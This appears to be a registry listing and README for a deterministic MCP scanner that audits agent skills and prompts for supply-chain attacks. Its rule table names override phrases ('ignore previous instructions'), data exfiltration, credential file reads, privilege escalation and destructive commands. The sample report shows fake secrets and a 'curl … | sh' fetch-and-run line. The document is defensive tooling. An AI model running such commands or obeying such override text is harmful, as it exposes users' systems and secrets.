Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.
这三项永远不会合并成一个分数:意见、测量和人气是不同的东西。
我们还没有为它写通俗的介绍。下面是我们从注册中心读取到的事实。
选择你使用的 AI 应用,然后复制设置。
你需要
你用的是哪个应用?
在上方选择你的应用。我们会记住它,下次按钮会显示“安装到 …”。
打开 Claude Desktop → Settings → Developer → Edit Config,把下面的内容粘贴到 claude_desktop_config.json
{
"mcpServers": {
"skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}在终端中运行这条命令
claude mcp add skill-sec -- uvx mcp-skill-sec粘贴到项目中的 .cursor/mcp.json,或 ~/.cursor/mcp.json
{
"mcpServers": {
"skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}浏览器会先询问是否打开应用,然后应用会显示设置并请你确认。密钥的值会留空,由你自己填写。

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.
Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.
| Rule | Pattern | |
|---|---|---|
| R1 | Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides) | |
| R2 | Data exfiltration intent (send/post/email contents to a URL, log theft) | |
| R3 | Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings) | |
| R4 | Dangerous commands (rm -rf /, `curl \ | sh`, fork bombs, raw device writes) |
| R5 | Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars) | |
| R6 | Untrusted external fetches (fetch-and-run, non-PyPI installs) | |
| R7 | Credential access (reading ~/.ssh, .aws/credentials, .env) | |
| R8 | Privilege escalation (sudo -s, setuid, adding to sudo group) |
Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.
audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.rule_list() — dump the rule catalog.One command (recommended) — installs from the repo, no PyPI token needed:
uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use
Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec
Direct from source (fallback):
pip install mcp
python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop
{
"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit
This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:
mcp-skill-sec — pre-install skill/security audit (this repo)mcp-verify-claim — evidence-gated, honestly-tiered claim reportingmcp-benchmark-hygiene — pytest config-leakage / eval-honesty detectionSibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion
Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.
MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).
